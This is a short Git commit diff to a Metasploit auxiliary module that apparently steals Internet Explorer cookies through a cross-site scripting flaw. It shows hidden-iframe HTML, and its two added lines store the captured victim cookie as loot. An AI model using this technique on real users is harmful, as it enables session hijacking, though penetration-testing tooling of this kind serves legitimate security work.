Use store_loot to store coookie

bug/bundler_fix
sinn3r 2015-02-05 11:36:35 -06:00 committed by Tod Beardsley
parent 6fd38307e7
commit 01252078ea
1 changed files with 2 additions and 1 deletions

View File

@ -100,7 +100,6 @@ class Metasploit3 < Msf::Auxiliary
end
def html
%Q|
<iframe style="display:none" src="#{get_resource}/redirect.php"></iframe>
<iframe style="display:none" src="#{datastore['TARGET_URI']}"></iframe>
@ -139,6 +138,8 @@ class Metasploit3 < Msf::Auxiliary
:type => 'ie.cookie',
:data => data
)
path = store_loot('ie_uxss_cookie', "text/plain", cli.peerhost, data, "#{cli.peerhost}_ie_cookie.txt", "IE Cookie")
vprint_good("Cookie stored as: #{path}")
end
else
print_status("Sending HTML")